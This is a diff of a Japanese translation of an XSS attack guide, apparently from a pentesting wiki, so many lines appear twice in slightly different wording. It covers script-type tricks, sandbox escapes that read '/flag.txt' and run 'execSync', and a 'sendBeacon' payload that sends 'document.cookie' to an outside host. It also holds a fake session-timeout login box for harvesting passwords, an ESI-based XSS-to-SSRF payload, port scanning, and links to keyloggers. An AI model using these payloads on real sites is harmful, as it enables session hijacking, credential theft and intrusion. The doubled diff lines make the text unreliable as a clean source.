> Refused to execute script from [https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (application/octet-stream) is not executable, and strict MIME type checking is enabled.
Chromeが **読み込まれたスクリプト** を実行するのをサポートする唯一の **Content-Type** は、[https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc) の const **`kSupportedJavascriptTypes`** 内のものです。
Chromeが **読み込まれたスクリプト** を実行するのをサポートする唯一の **Content-Type** は、[https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc) の定数 **`kSupportedJavascriptTypes`** 内のものです。
```c
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
@ -865,12 +865,12 @@ const char* const kSupportedJavascriptTypes[] = {
```
### Script Types to XSS
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) では、どのタイプがスクリプトを読み込むために示される可能性がありますか?
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) では、どのタイプがスクリプトを読み込むことを示す可能性がありますか?
```html
<script type="???"></script>
```
- **module** (デフォルト、説明は不要)
- [**webbundle**](https://web.dev/web-bundles/): Web Bundlesは、データHTML、CSS、JSなどをまとめて**`.wbn`**ファイルにパッケージ化できる機能です。
- [**webbundle**](https://web.dev/web-bundles/): Web Bundlesは、HTML、CSS、JSなどのデータをまとめて**`.wbn`**ファイルにパッケージ化できる機能です。
```html
<script type="webbundle">
{
@ -897,9 +897,9 @@ import moment from "moment"
import { partition } from "lodash"
</script>
```
この動作は、[**この解説**](https://github.com/zwade/yaca/tree/master/solution)でライブラリをevalに再マッピングしてXSSを引き起こすために悪用されました。
この動作は、[**この解説**](https://github.com/zwade/yaca/tree/master/solution)でライブラリをevalに再マッピングしてXSSを引き起こすために悪用されることができることを示すために使用されました。
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** この機能は、プリレンダリングによって引き起こされるいくつかの問題を解決するためのものです。動作は次のようになります:
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** この機能は、主にプリレンダリングによって引き起こされるいくつかの問題を解決するためのものです。動作は次のようになります:
```html
<script type="speculationrules">
{
@ -940,11 +940,11 @@ import { partition } from "lodash"
<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
```
### 特殊置換パターン
### 特殊置換パターン
**`"some {{template}} data".replace("{{template}}", <user_input>)`** のようなものが使用されるとき、攻撃者は[**特殊文字列置換**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement)を使用して、いくつかの保護を回避しようとすることがあります: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
**`"some {{template}} data".replace("{{template}}", <user_input>)`** のようなものが使用されるとき、攻撃者は[**特殊文字列置換**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement)を使用して、いくつかの保護を回避しようとする可能性があります: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
例えば、[**このレポート**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA)では、スクリプト内の**JSON文字列をエスケープ**し、任意のコードを実行するために使用されました。
例えば、[**この書き込み**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA)では、スクリプト内の**JSON文字列をエスケープ**し、任意のコードを実行するために使用されました。
### ChromeキャッシュからXSSへ
@ -985,7 +985,7 @@ constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
```
もし**すべてが未定義**である場合、信頼できないコードを実行する前に(例えば[**このレポート**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)のように)、何もないところから有用なオブジェクトを生成して、任意の信頼できないコードの実行を悪用することが可能です:
もし**すべてが未定義**である場合、信頼できないコードを実行する前に(例えば、[**この解説**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)のように)、何もないところから有用なオブジェクトを生成して、任意の信頼できないコードの実行を悪用することが可能です:
- import()を使用して
```javascript
@ -994,7 +994,7 @@ import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
```
- `require`を間接的にアクセスする
[これによると](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050)、モジュールはNode.jsによってこのように関数内でラップされます:
[これによると](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) モジュールはNode.jsによって関数内にラップされます。
```javascript
;(function (exports, require, module, __filename, __dirname) {
// our actual module code
@ -1047,11 +1047,10 @@ console.log(req("child_process").execSync("id").toString())
}
trigger()
```
### オブfuscation & 高度なバイパス
### Obfuscation & Advanced Bypass
- **1ページ内の異なるオブfuscation:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
- **1ページ内の異なる難読化:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
- [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
- [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs)
- [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
- [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/)
- [http://www.jsfuck.com/](http://www.jsfuck.com)
@ -1268,7 +1267,7 @@ steal-info-js.md
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
```
> [!NOTE]
> あなたは**HTTPOnlyフラグがクッキーに設定されている場合、JavaScriptからクッキーにアクセスすることはできません**。しかし、運が良ければ、ここに[この保護を回避するいくつかの方法があります](../hacking-with-cookies/index.html#httponly)。
> あなたは**HTTPOnlyフラグがクッキーに設定されている場合、JavaScriptからクッキーにアクセスできません**。しかし、運が良ければ、ここに[この保護を回避するいくつかの方法](../hacking-with-cookies/index.html#httponly)があります
### ページコンテンツを盗む
```javascript
@ -1359,11 +1358,11 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
};
}
```
_応答しているポートは短い時間を示します_ _応答がない場合は長い時間を示します。_
_応答しているポートは短い時間を示します_ _応答がないポートは長い時間を示します。_
Chromeで禁止されているポートのリストを[**こちら**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc)で、Firefoxで禁止されているポートのリストを[**こちら**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist)で確認してください。
### 資格情報を求めるボックス
### 資格情報を要求するボックス
```html
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
```
@ -1382,12 +1381,12 @@ body:username.value+':'+this.value
### キーロガー
GitHubで検索したところ、いくつかの異なるものが見つかりました:
GitHubで検索したところ、いくつかの異なるものを見つけました:
- [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
- [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
- [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger)
- metasploit `http_javascript_keylogger` も使用できます
- また、metasploitの`http_javascript_keylogger`を使用することもできます。
### CSRFトークンの盗難
```javascript
@ -1534,7 +1533,7 @@ xss-in-markdown.md
### SSRFへのXSS
**キャッシュを使用しているサイト**でXSSを取得しましたかこのペイロードを使用して**それをSSRFにアップグレード**してみてください:
**キャッシングを使用しているサイト**でXSSを取得しましたかこのペイロードを使って**それをSSRFにアップグレード**してみてください:
```python
<esi:include src="http://yoursite.com/capture" />
```
@ -1543,7 +1542,7 @@ xss-in-markdown.md
### 動的に作成されたPDFにおけるXSS
ウェブページがユーザー制御の入力を使用してPDFを作成している場合、PDFを作成しているボットを**だまして**、**任意のJSコードを実行させる**ことを試みることができます。\
ウェブページがユーザー制御の入力を使用してPDFを作成している場合、PDFを作成しているボットを**だまして任意のJSコードを実行させる**ことを試みることができます。\
したがって、**PDF作成ボットが**何らかの**HTML** **タグ**を見つけると、それを**解釈**し、あなたはこの動作を**悪用**して**サーバーXSS**を引き起こすことができます。
{{#ref}}
@ -1558,13 +1557,13 @@ pdf-injection.md
### Amp4EmailにおけるXSS
AMPは、モバイルデバイスでのウェブページパフォーマンスを向上させることを目的としており、速度とセキュリティを重視してJavaScriptで補完されたHTMLタグを組み込んでいます。さまざまな機能のためのコンポーネントの範囲をサポートしており、[AMPコンポーネント](https://amp.dev/documentation/components/?format=websites)を介してアクセスできます。
AMPは、モバイルデバイスでのウェブページパフォーマンスを向上させることを目的としており、速度とセキュリティを重視してJavaScriptで機能を補完したHTMLタグを組み込んでいます。さまざまな機能のためのコンポーネントをサポートしており、[AMPコンポーネント](https://amp.dev/documentation/components/?format=websites)を介してアクセスできます。
[**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/)フォーマットは、特定のAMPコンポーネントをメールに拡張し、受信者がメール内でコンテンツと直接対話できるようにします。
[**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/)フォーマットは、特定のAMPコンポーネントをメールに拡張し、受信者がメール内で直接コンテンツと対話できるようにします。
例:[**GmailのAmp4EmailにおけるXSSの書き込み**](https://adico.me/post/xss-in-gmail-s-amp4email)。
例:[**GmailのAmp4EmailにおけるXSSの解説**](https://adico.me/post/xss-in-gmail-s-amp4email)。
### ファイルのアップロードにおけるXSSsvg
### XSSファイルのアップロードsvg
次のようなファイルを画像としてアップロードします([http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)から):
```html